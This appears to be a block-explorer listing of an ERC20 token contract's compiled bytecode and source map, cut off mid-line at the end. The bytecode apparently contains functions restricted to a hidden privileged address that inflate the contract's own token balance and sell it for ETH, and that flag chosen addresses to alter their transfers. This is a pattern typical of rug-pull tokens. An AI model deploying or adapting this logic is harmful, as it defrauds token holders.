8152602001600020819055506000600267ffffffffffffffff8111156106a4576106a3611c51565b5b6040519080825280602002602001820160405280156106d25781602001602082028036833780820191505090505b50905030816000815181106106ea576106e9611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078c57600080fd5b505afa1580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611480565b816001815181106107d8576107d7611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866020426108629190611978565b6040518663ffffffff1660e01b81526004016108829594939291906118c9565b600060405180830381600087803b15801561089c57600080fd5b505af11580156108b0573d6000803e3d6000fd5b50505050506108bf565b6108c0565b5b5050565b60006108ce6112dd565b905060005b8383905081101561097a576108e661127e565b6108ef57610967565b6001826108fc9190611978565b6008600086868581811061091357610912611c22565b5b90506020020160208101906109289190611453565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061097290611b4c565b9150506108d3565b50505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a0e610b24565b73ffffffffffffffffffffffffffffffffffffffff1614610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b9061182e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b5c90611b1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8890611b1a565b8015610bd55780601f10610baa57610100808354040283529160200191610bd5565b820191906000526020600020905b815481529060010190602001808311610bb857829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c6a57600080fd5b610d03610c75611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cfe9190611a59565b610db6565b6001905092915050565b6000610d21610d1a611276565b8484610f81565b6001905092915050565b565b565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d9061184e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d9061188e565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7491906118ae565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610fbc57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561100857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161106591906118ae565b60405180910390a381600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b89190611a59565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006111056112dd565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115905060006111746103e86111666103e7876112e590919063ffffffff16565b61136090919063ffffffff16565b90506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156111c35750815b156111cc578092505b6000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838561121c9190611a59565b816112279190611978565b905080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050565b600033905090565b6000611288611276565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600043905090565b6000808314156112f8576000905061135a565b6000828461130691906119ff565b905082848261131591906119ce565b14611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c9061186e565b60405180910390fd5b809150505b92915050565b60008082116113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b9061180e565b60405180910390fd5b600082846113b291906119ce565b90508091505092915050565b6000813590506113cd81611de9565b92915050565b6000815190506113e281611de9565b92915050565b60008083601f8401126113fe576113fd611c85565b5b8235905067ffffffffffffffff81111561141b5761141a611c80565b5b60208301915083602082028301111561143757611436611c8a565b5b9250929050565b60008135905061144d81611e00565b92915050565b60006020828403121561146957611468611c94565b5b6000611477848285016113be565b91505092915050565b60006020828403121561149657611495611c94565b5b60006114a4848285016113d3565b91505092915050565b600080604083850312156114c4576114c3611c94565b5b60006114d2858286016113be565b92505060206114e3858286016113be565b9150509250929050565b60008060006060848603121561150657611505611c94565b5b6000611514868287016113be565b9350506020611525868287016113be565b92505060406115368682870161143e565b9150509250925092565b6000806040838503121561155757611556611c94565b5b6000611565858286016113be565b92505060206115768582860161143e565b9150509250929050565b6000806020838503121561159757611596611c94565b5b600083013567ffffffffffffffff8111156115b5576115b4611c8f565b5b6115c1858286016113e8565b92509250509250929050565b600080604083850312156115e4576115e3611c94565b5b60006115f28582860161143e565b9250506020611603858286016113be565b9150509250929050565b60006116198383611625565b60208301905092915050565b61162e81611a8d565b82525050565b61163d81611a8d565b82525050565b600061164e82611933565b6116588185611956565b935061166383611923565b8060005b8381101561169457815161167b888261160d565b975061168683611949565b925050600181019050611667565b5085935050505092915050565b6116aa81611a9f565b82525050565b6116b981611ad5565b82525050565b60006116ca8261193e565b6116d48185611967565b93506116e4818560208601611ae7565b6116ed81611c99565b840191505092915050565b6000611705601b83611967565b915061171082611caa565b602082019050919050565b6000611728602083611967565b915061173382611cd3565b602082019050919050565b600061174b602583611967565b915061175682611cfc565b604082019050919050565b600061176e602283611967565b915061177982611d4b565b604082019050919050565b6000611791602383611967565b915061179c82611d9a565b604082019050919050565b6117b081611acb565b82525050565b60006020820190506117cb6000830184611634565b92915050565b60006020820190506117e660008301846116a1565b92915050565b6000602082019050818103600083015261180681846116bf565b905092915050565b60006020820190508181036000830152611827816116f8565b9050919050565b600060208201905081810360008301526118478161171b565b9050919050565b600060208201905081810360008301526118678161173e565b9050919050565b6000602082019050818103600083015261188781611761565b9050919050565b600060208201905081810360008301526118a781611784565b9050919050565b60006020820190506118c360008301846117a7565b92915050565b600060a0820190506118de60008301886117a7565b6118eb60208301876116b0565b81810360408301526118fd8186611643565b905061190c6060830185611634565b61191960808301846117a7565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061198382611acb565b915061198e83611acb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119c3576119c2611b95565b5b828201905092915050565b60006119d982611acb565b91506119e483611acb565b9250826119f4576119f3611bc4565b5b828204905092915050565b6000611a0a82611acb565b9150611a1583611acb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a4e57611a4d611b95565b5b828202905092915050565b6000611a6482611acb565b9150611a6f83611acb565b925082821015611a8257611a81611b95565b5b828203905092915050565b6000611a9882611aab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611ae082611acb565b9050919050565b60005b83811015611b05578082015181840152602081019050611aea565b83811115611b14576000848401525b50505050565b60006002820490506001821680611b3257607f821691505b60208210811415611b4657611b45611bf3565b5b50919050565b6000611b5782611acb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b8a57611b89611b95565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611df281611a8d565b8114611dfd57600080fd5b50565b611e0981611acb565b8114611e1457600080fd5b5056fea26469706673582212206a4cd7e945af1d78f74a5171896b3196009d4d440f93e2c515cb86de1d4e992664736f6c63430008070033

Deployed Bytecode Sourcemap

2343:4982:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3484:35;;;:::i;:::-;;3277:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7164:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5335:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4019:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5037:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2418:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6745:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2455:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5434:574;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3653:360;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2889:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3368:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1444:148;;;:::i;:::-;;3567:38;;;:::i;:::-;;1598:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4253:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4662:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6952:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3611:36;;;:::i;:::-;;3525;;;:::i;:::-;;4522:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3484:35;:::o;3277:85::-;3316:13;3349:5;3342:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3277:85;:::o;7164:158::-;7238:4;7255:37;7264:10;7276:7;7285:6;7255:8;:37::i;:::-;7310:4;7303:11;;7164:158;;;;:::o;5335:93::-;5381:7;5408:12;;5401:19;;5335:93;:::o;4019:228::-;4107:4;4124:35;4134:4;4140:9;4151:7;4124:9;:35::i;:::-;4209:7;4178:11;:17;4190:4;4178:17;;;;;;;;;;;;;;;:27;4196:8;:6;:8::i;:::-;4178:27;;;;;;;;;;;;;;;;:38;;4170:47;;;;;;4235:4;4228:11;;4019:228;;;;;:::o;5037:87::-;5080:7;5107:9;;5100:16;;5037:87;:::o;2418:28::-;;;;:::o;6745:201::-;6825:4;6842:74;6851:8;:6;:8::i;:::-;6861:7;6905:10;6870:11;:23;6882:10;6870:23;;;;;;;;;;;;;;;:32;6894:7;6870:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;6842:8;:74::i;:::-;6934:4;6927:11;;6745:201;;;;:::o;2455:61::-;;;;:::o;5434:574::-;5520:17;:15;:17::i;:::-;5516:485;;;5554:53;5571:4;5586:11;;;;;;;;;;;5600:6;5554:8;:53::i;:::-;5650:6;5623:9;:24;5641:4;5623:24;;;;;;;;;;;;;;;:33;;;;5671:28;5716:1;5702:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5671:47;;5758:4;5733:11;5745:1;5733:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;5796:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5779:11;5791:1;5779:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5830:11;;;;;;;;;;;:62;;;5893:6;5901:1;5904:11;5917:10;5947:2;5929:15;:20;;;;:::i;:::-;5830:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5539:423;5516:485;;;5983:7;;5516:485;5434:574;;;:::o;3653:360::-;3732:19;3754:16;:14;:16::i;:::-;3732:38;;3786:15;3781:225;3821:13;;:20;;3808:10;:33;3781:225;;;3879:17;:15;:17::i;:::-;3874:121;;;;;3978:1;3964:11;:15;;;;:::i;:::-;3925:9;:36;3935:13;;3949:10;3935:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3925:36;;;;;;;;;;;;;;;:54;;;;3874:121;3844:12;;;;;:::i;:::-;;;;3781:225;;;;3721:292;3653:360;;:::o;2889:25::-;;;;;;;;;;;;;:::o;3368:110::-;3425:7;3452:9;:18;3462:7;3452:18;;;;;;;;;;;;;;;;3445:25;;3368:110;;;:::o;1444:148::-;1840:10;1829:21;;:7;:5;:7::i;:::-;:21;;;1821:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1551:1:::1;1514:40;;1535:6;::::0;::::1;;;;;;;;1514:40;;;;;;;;;;;;1582:1;1565:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1444:148::o:0;3567:38::-;:::o;1598:71::-;1644:7;1661:6;;;;;;;;;;;1654:13;;1598:71;:::o;4253:87::-;4292:13;4325:7;4318:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4253:87;:::o;4662:243::-;4735:4;4793:6;4760:11;:23;4772:10;4760:23;;;;;;;;;;;;;;;:29;4784:4;4760:29;;;;;;;;;;;;;;;;:39;;4752:48;;;;;;4811:64;4820:8;:6;:8::i;:::-;4830:4;4868:6;4836:11;:23;4848:10;4836:23;;;;;;;;;;;;;;;:29;4860:4;4836:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4811:8;:64::i;:::-;4893:4;4886:11;;4662:243;;;;:::o;6952:154::-;7021:4;7038:38;7048:8;:6;:8::i;:::-;7058:9;7069:6;7038:9;:38::i;:::-;7094:4;7087:11;;6952:154;;;;:::o;3611:36::-;:::o;3525:::-;:::o;4522:134::-;4594:7;4621:11;:18;4633:5;4621:18;;;;;;;;;;;;;;;:27;4640:7;4621:27;;;;;;;;;;;;;;;;4614:34;;4522:134;;;;:::o;2923:346::-;3042:1;3025:19;;:5;:19;;;;3017:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;3124:1;3105:21;;:7;:21;;;;3097:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;3207:6;3177:11;:18;3189:5;3177:18;;;;;;;;;;;;;;;:27;3196:7;3177:27;;;;;;;;;;;;;;;:36;;;;3245:7;3229:32;;3238:5;3229:32;;;3254:6;3229:32;;;;;;:::i;:::-;;;;;;;;2923:346;;;:::o;6014:655::-;6094:17;6150:1;6134:18;;:4;:18;;;;6126:27;;;;;;6181:9;:15;6191:4;6181:15;;;;;;;;;;;;;;;;6172:5;:24;;6164:33;;;;;;6228:2;6213:25;;6222:4;6213:25;;;6232:5;6213:25;;;;;;:::i;:::-;;;;;;;;6286:5;6267:9;:15;6277:4;6267:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;6249:9;:15;6259:4;6249:15;;;;;;;;;;;;;;;:43;;;;6303:15;6342:16;:14;:16::i;:::-;6322:9;:15;6332:4;6322:15;;;;;;;;;;;;;;;;:37;;6303:57;;6371:25;6399:24;6418:4;6399:14;6409:3;6399:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;6371:52;;6458:1;6439:9;:15;6449:4;6439:15;;;;;;;;;;;;;;;;:20;;6438:36;;;;;6464:10;6438:36;6434:103;;;6506:17;6493:31;;6434:103;6547:17;6567:9;:13;6577:2;6567:13;;;;;;;;;;;;;;;;6547:33;;6615:9;6605:5;6604:21;;;;:::i;:::-;6591:34;;;;;:::i;:::-;;;6652:9;6636;:13;6646:2;6636:13;;;;;;;;;;;;;;;:25;;;;6083:586;;;;6014:655;;;:::o;5243:86::-;5284:7;5311:10;5304:17;;5243:86;:::o;5130:107::-;5179:4;5219:8;:6;:8::i;:::-;5204:24;;:10;;;;;;;;;;;:24;;;5196:33;;5130:107;:::o;4346:96::-;4395:7;4422:12;4415:19;;4346:96;:::o;1062:223::-;1120:7;1149:1;1144;:6;1140:23;;;1160:1;1153:8;;;;1140:23;1173:9;1189:1;1185;:5;;;;:::i;:::-;1173:17;;1218:1;1213;1209;:5;;;;:::i;:::-;:10;1201:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;1276:1;1269:8;;;1062:223;;;;;:::o;876:178::-;934:7;966:1;962;:5;954:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;1010:9;1026:1;1022;:5;;;;:::i;:::-;1010:17;;1045:1;1038:8;;;876:178;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:122;;459:79;;:::i;:::-;418:122;572:6;559:20;549:30;;602:18;594:6;591:30;588:117;;;624:79;;:::i;:::-;588:117;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:128;;;799:79;;:::i;:::-;752:128;318:568;;;;;:::o;892:139::-;938:5;976:6;963:20;954:29;;992:33;1019:5;992:33;:::i;:::-;892:139;;;;:::o;1037:329::-;1096:6;1145:2;1133:9;1124:7;1120:23;1116:32;1113:119;;;1151:79;;:::i;:::-;1113:119;1271:1;1296:53;1341:7;1332:6;1321:9;1317:22;1296:53;:::i;:::-;1286:63;;1242:117;1037:329;;;;:::o;1372:351::-;1442:6;1491:2;1479:9;1470:7;1466:23;1462:32;1459:119;;;1497:79;;:::i;:::-;1459:119;1617:1;1642:64;1698:7;1689:6;1678:9;1674:22;1642:64;:::i;:::-;1632:74;;1588:128;1372:351;;;;:::o;1729:474::-;1797:6;1805;1854:2;1842:9;1833:7;1829:23;1825:32;1822:119;;;1860:79;;:::i;:::-;1822:119;1980:1;2005:53;2050:7;2041:6;2030:9;2026:22;2005:53;:::i;:::-;1995:63;;1951:117;2107:2;2133:53;2178:7;2169:6;2158:9;2154:22;2133:53;:::i;:::-;2123:63;;2078:118;1729:474;;;;;:::o;2209:619::-;2286:6;2294;2302;2351:2;2339:9;2330:7;2326:23;2322:32;2319:119;;;2357:79;;:::i;:::-;2319:119;2477:1;2502:53;2547:7;2538:6;2527:9;2523:22;2502:53;:::i;:::-;2492:63;;2448:117;2604:2;2630:53;2675:7;2666:6;2655:9;2651:22;2630:53;:::i;:::-;2620:63;;2575:118;2732:2;2758:53;2803:7;2794:6;2783:9;2779:22;2758:53;:::i;:::-;2748:63;;2703:118;2209:619;;;;;:::o;2834:474::-;2902:6;2910;2959:2;2947:9;2938:7;2934:23;2930:32;2927:119;;;2965:79;;:::i;:::-;2927:119;3085:1;3110:53;3155:7;3146:6;3135:9;3131:22;3110:53;:::i;:::-;3100:63;;3056:117;3212:2;3238:53;3283:7;3274:6;3263:9;3259:22;3238:53;:::i;:::-;3228:63;;3183:118;2834:474;;;;;:::o;3314:559::-;3400:6;3408;3457:2;3445:9;3436:7;3432:23;3428:32;3425:119;;;3463:79;;:::i;:::-;3425:119;3611:1;3600:9;3596:17;3583:31;3641:18;3633:6;3630:30;3627:117;;;3663:79;;:::i;:::-;3627:117;3776:80;3848:7;3839:6;3828:9;3824:22;3776:80;:::i;:::-;3758:98;;;;3554:312;3314:559;;;;;:::o;3879:474::-;3947:6;3955;4004:2;3992:9;3983:7;3979:23;3975:32;3972:119;;;4010:79;;:::i;:::-;3972:119;4130:1;4155:53;4200:7;4191:6;4180:9;4176:22;4155:53;:::i;:::-;4145:63;;4101:117;4257:2;4283:53;4328:7;4319:6;4308:9;4304:22;4283:53;:::i;:::-;4273:63;;4228:118;3879:474;;;;;:::o;4359:179::-;4428:10;4449:46;4491:3;4483:6;4449:46;:::i;:::-;4527:4;4522:3;4518:14;4504:28;;4359:179;;;;:::o;4544:108::-;4621:24;4639:5;4621:24;:::i;:::-;4616:3;4609:37;4544:108;;:::o;4658:118::-;4745:24;4763:5;4745:24;:::i;:::-;4740:3;4733:37;4658:118;;:::o;4812:732::-;4931:3;4960:54;5008:5;4960:54;:::i;:::-;5030:86;5109:6;5104:3;5030:86;:::i;:::-;5023:93;;5140:56;5190:5;5140:56;:::i;:::-;5219:7;5250:1;5235:284;5260:6;5257:1;5254:13;5235:284;;;5336:6;5330:13;5363:63;5422:3;5407:13;5363:63;:::i;:::-;5356:70;;5449:60;5502:6;5449:60;:::i;:::-;5439:70;;5295:224;5282:1;5279;5275:9;5270:14;;5235:284;;;5239:14;5535:3;5528:10;;4936:608;;;4812:732;;;;:::o;5550:109::-;5631:21;5646:5;5631:21;:::i;:::-;5626:3;5619:34;5550:109;;:::o;5665:147::-;5760:45;5799:5;5760:45;:::i;:::-;5755:3;5748:58;5665:147;;:::o;5818:364::-;5906:3;5934:39;5967:5;5934:39;:::i;:::-;5989:71;6053:6;6048:3;5989:71;:::i;:::-;5982:78;;6069:52;6114:6;6109:3;6102:4;6095:5;6091:16;6069:52;:::i;:::-;6146:29;6168:6;6146:29;:::i;:::-;6141:3;6137:39;6130:46;;5910:272;5818:364;;;;:::o;6188:366::-;6330:3;6351:67;6415:2;6410:3;6351:67;:::i;:::-;6344:74;;6427:93;6516:3;6427:93;:::i;:::-;6545:2;6540:3;6536:12;6529:19;;6188:366;;;:::o;6560:::-;6702:3;6723:67;6787:2;6782:3;6723:67;:::i;:::-;6716:74;;6799:93;6888:3;6799:93;:::i;:::-;6917:2;6912:3;6908:12;6901:19;;6560:366;;;:::o;6932:::-;7074:3;7095:67;7159:2;7154:3;7095:67;:::i;:::-;7088:74;;7171:93;7260:3;7171:93;:::i;:::-;7289:2;7284:3;7280:12;7273:19;;6932:366;;;:::o;7304:::-;7446:3;7467:67;7531:2;7526:3;7467:67;:::i;:::-;7460:74;;7543:93;7632:3;7543:93;:::i;:::-;7661:2;7656:3;7652:12;7645:19;;7304:366;;;:::o;7676:::-;7818:3;7839:67;7903:2;7898:3;7839:67;:::i;:::-;7832:74;;7915:93;8004:3;7915:93;:::i;:::-;8033:2;8028:3;8024:12;8017:19;;7676:366;;;:::o;8048:118::-;8135:24;8153:5;8135:24;:::i;:::-;8130:3;8123:37;8048:118;;:::o;8172:222::-;8265:4;8303:2;8292:9;8288:18;8280:26;;8316:71;8384:1;8373:9;8369:17;8360:6;8316:71;:::i;:::-;8172:222;;;;:::o;8400:210::-;8487:4;8525:2;8514:9;8510:18;8502:26;;8538:65;8600:1;8589:9;8585:17;8576:6;8538:65;:::i;:::-;8400:210;;;;:::o;8616:313::-;8729:4;8767:2;8756:9;8752:18;8744:26;;8816:9;8810:4;8806:20;8802:1;8791:9;8787:17;8780:47;8844:78;8917:4;8908:6;8844:78;:::i;:::-;8836:86;;8616:313;;;;:::o;8935:419::-;9101:4;9139:2;9128:9;9124:18;9116:26;;9188:9;9182:4;9178:20;9174:1;9163:9;9159:17;9152:47;9216:131;9342:4;9216:131;:::i;:::-;9208:139;;8935:419;;;:::o;9360:::-;9526:4;9564:2;9553:9;9549:18;9541:26;;9613:9;9607:4;9603:20;9599:1;9588:9;9584:17;9577:47;9641:131;9767:4;9641:131;:::i;:::-;9633:139;;9360:419;;;:::o;9785:::-;9951:4;9989:2;9978:9;9974:18;9966:26;;10038:9;10032:4;10028:20;10024:1;10013:9;10009:17;10002:47;10066:131;10192:4;10066:131;:::i;:::-;10058:139;;9785:419;;;:::o;10210:::-;10376:4;10414:2;10403:9;10399:18;10391:26;;10463:9;10457:4;10453:20;10449:1;10438:9;10434:17;10427:47;10491:131;10617:4;10491:131;:::i;:::-;10483:139;;10210:419;;;:::o;10635:::-;10801:4;10839:2;10828:9;10824:18;10816:26;;10888:9;10882:4;10878:20;10874:1;10863:9;10859:17;10852:47;10916:131;11042:4;10916:131;:::i;:::-;10908:139;;10635:419;;;:::o;11060:222::-;11153:4;11191:2;11180:9;11176:18;11168:26;;11204:71;11272:1;11261:9;11257:17;11248:6;11204:71;:::i;:::-;11060:222;;;;:::o;11288:831::-;11551:4;11589:3;11578:9;11574:19;11566:27;;11603:71;11671:1;11660:9;11656:17;11647:6;11603:71;:::i;:::-;11684:80;11760:2;11749:9;11745:18;11736:6;11684:80;:::i;:::-;11811:9;11805:4;11801:20;11796:2;11785:9;11781:18;11774:48;11839:108;11942:4;11933:6;11839:108;:::i;:::-;11831:116;;11957:72;12025:2;12014:9;12010:18;12001:6;11957:72;:::i;:::-;12039:73;12107:3;12096:9;12092:19;12083:6;12039:73;:::i;:::-;11288:831;;;;;;;;:::o;12206:132::-;12273:4;12296:3;12288:11;;12326:4;12321:3;12317:14;12309:22;;12206:132;;;:::o;12344:114::-;12411:6;12445:5;12439:12;12429:22;;12344:114;;;:::o;12464:99::-;12516:6;12550:5;12544:12;12534:22;;12464:99;;;:::o;12569:113::-;12639:4;12671;12666:3;12662:14;12654:22;;12569:113;;;:::o;12688:184::-;12787:11;12821:6;12816:3;12809:19;12861:4;12856:3;12852:14;12837:29;;12688:184;;;;:::o;12878:169::-;12962:11;12996:6;12991:3;12984:19;13036:4;13031:3;13027:14;13012:29;;12878:169;;;;:::o;13053:305::-;13093:3;13112:20;13130:1;13112:20;:::i;:::-;13107:25;;13146:20;13164:1;13146:20;:::i;:::-;13141:25;;13300:1;13232:66;13228:74;13225:1;13222:81;13219:107;;;13306:18;;:::i;:::-;13219:107;13350:1;13347;13343:9;13336:16;;13053:305;;;;:::o;13364:185::-;13404:1;13421:20;13439:1;13421:20;:::i;:::-;13416:25;;13455:20;13473:1;13455:20;:::i;:::-;13450:25;;13494:1;13484:35;;13499:18;;:::i;:::-;13484:35;13541:1;13538;13534:9;13529:14;;13364:185;;;;:::o;13555:348::-;13595:7;13618:20;13636:1;13618:20;:::i;:::-;13613:25;;13652:20;13670:1;13652:20;:::i;:::-;13647:25;;13840:1;13772:66;13768:74;13765:1;13762:81;13757:1;13750:9;13743:17;13739:105;13736:131;;;13847:18;;:::i;:::-;13736:131;13895:1;13892;13888:9;13877:20;;13555:348;;;;:::o;13909:191::-;13949:4;13969:20;13987:1;13969:20;:::i;:::-;13964:25;;14003:20;14021:1;14003:20;:::i;:::-;13998:25;;14042:1;14039;14036:8;14033:34;;;14047:18;;:::i;:::-;14033:34;14092:1;14089;14085:9;14077:17;;13909:191;;;;:::o;14106:96::-;14143:7;14172:24;1419